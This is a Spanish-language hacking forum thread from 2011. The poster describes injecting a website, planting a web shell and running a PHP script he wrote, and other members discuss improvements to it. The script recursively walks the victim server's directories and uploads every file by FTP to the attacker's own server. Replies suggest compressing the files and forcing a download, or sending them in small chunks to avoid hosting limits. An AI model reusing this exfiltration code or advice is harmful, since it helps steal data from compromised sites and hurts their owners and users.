Subir Directorios Completos por FTP

Iniciado por s00rk, Junio 02, 2011, 05:16:52 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Junio 02, 2011, 05:16:52 AM Ultima modificación: Junio 02, 2011, 10:48:58 AM por s00rk
Bueno ahorita son las 2:11 am hehe y pues entrado a una web que logre inyectar me fue muy bien y todo pero a la final pues como cualquier otro deceaba bajarme sus archivos pero como son bastantes no me los iva a bajar 1 por 1 con la shell , entonces decidi hacer un pequeño script que suba las carpetas complestas mediante FTP de mi propia PC y pues asi fue y nada mas eso seria todo paks! xD

So aqui mi codigo:

Código: php
<?php
function getDirectory( $path = '.', $level = 0, $c ){

    $ignore = array( 'cgi-bin', '.', '..' );

    $dh = @opendir( $path );
   
    while( false !== ( $file = readdir( $dh ) ) ){
   
        if( !in_array( $file, $ignore ) ){
           
            $spaces = str_repeat( '&nbsp;', ( $level * 4 ) );
           
            if( is_dir( "$path/$file" ) ){
           
                echo "<strong>$spaces $path/$file</strong><br />";
                Ftp($c,$path."/".$file,1);
                getDirectory( "$path/$file", ($level+1),$c );
           
            } else {
           
                echo "$spaces $path/$file<br />";
                Ftp($c,$path."/".$file,0);
           
            }
       
        }
   
    }
   
    closedir( $dh );

}

function Ftp($c,$l, $t)
{
    if($t == 1)
    {
        ftp_mkdir($c,$l);
    }else{
        ftp_put($c,$l,$l,FTP_BINARY);
    }
}

$hostname = "**************";
$ftp_user_name= "***";
$ftp_user_pass = "***";
$conn_id = ftp_connect ( $hostname );

$login_result = ftp_login ( $conn_id , $ftp_user_name , $ftp_user_pass );
if($conn_id && $login_result)
{
    ini_set('max_execution_time',38000);     
    getDirectory(".",0,$conn_id);
    ftp_close($conn_id);
}else{
    echo "Error de conexion";
}



?>

Sugerencias y cualquier cosa ahi me dicen n_n

Que buen codigo s00rk!!
Muchisimas gracias por compartirlo!!


Junio 02, 2011, 10:58:34 AM #2 Ultima modificación: Junio 02, 2011, 11:01:26 AM por Xt3mP
Buen código aunque el problema en realidad no es subir, el problema es bajarse directorios completos ya que algunas shells (como la mía) no tienen esa opción, a ver si haces uno para descargar directorios completos, de igual forma buen código.

P.D. Una sugerencia es que no subas directorios por FTP, piensa que no en todas las vulnerabilidades se obtiene un acceso FTP por lo tanto puedes utilizar el método común de formulario con algún bucle; saludos.
Cada vez que me das Karma me motivas

No, osea no me explique bien lo que paso esque subi tu shell y pues vi que no me podia bajar todos los archivos de una ni con el otro que me mencionaste ya que son bastantes archivos entonces lo que decidi fue crear mi servidor FTP local y usando ese codigo lo subi a la web con la shell y ya , ahorita se estan pasando los archivos a mi Servidor FTP hehe.

P.D. O no me explique bien , o no entendi muy bien tu comentario jiji :$

Si entiendo, puedes hacer una función que descargue todo los archivos de un directorio y un sub directorio.

Solo tendrias que obtener el path de todos los archivos, puedes usar la funcion No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

Creo que lo mejor seria comprimir todos los archivos y sub directorios de un directorio especifico. Seria como un script que realice un Backup.

Saludos.
Mi madre me dijo que estoy destinado a ser pobre toda la vida.
Engineering is the art of balancing the benefits and drawbacks of any approach.

Exáctamente como dice YoYa, puedes comprimir todo un directorio o archivo en un .gz o dependiendo y posteriormente forzar la descarga, de esta manera te ahorrarías mucho tiempo.

Y si, ya entendí lo que quisiste decir, es que no te supiste explicar, lo que entendí fue que subiste este script a la página vulnerable y posteriormente forzaste a subir los archivos al FTP, pero me iría más por comprimir todo y luego descargarlo ya comprimido.
Cada vez que me das Karma me motivas

Si de hecho hehe de esta forma si son muchos archivos al final cae por exeso de tiempo o bueno a mi me manda error aunque haya puesto que no tuviera limite ahora hice algo diferente hehe con el mismo metodo, pero checare lo del zip :P

No pasa nada, tambien comprimir muchos archivos puede tirar error (de preferencia envía 1024 en 1024) ya que la mayoría de los hostings trae por defecto 2 MB, pero fue buena tu idea de forzar a subir todo por FTP, saludos.
Cada vez que me das Karma me motivas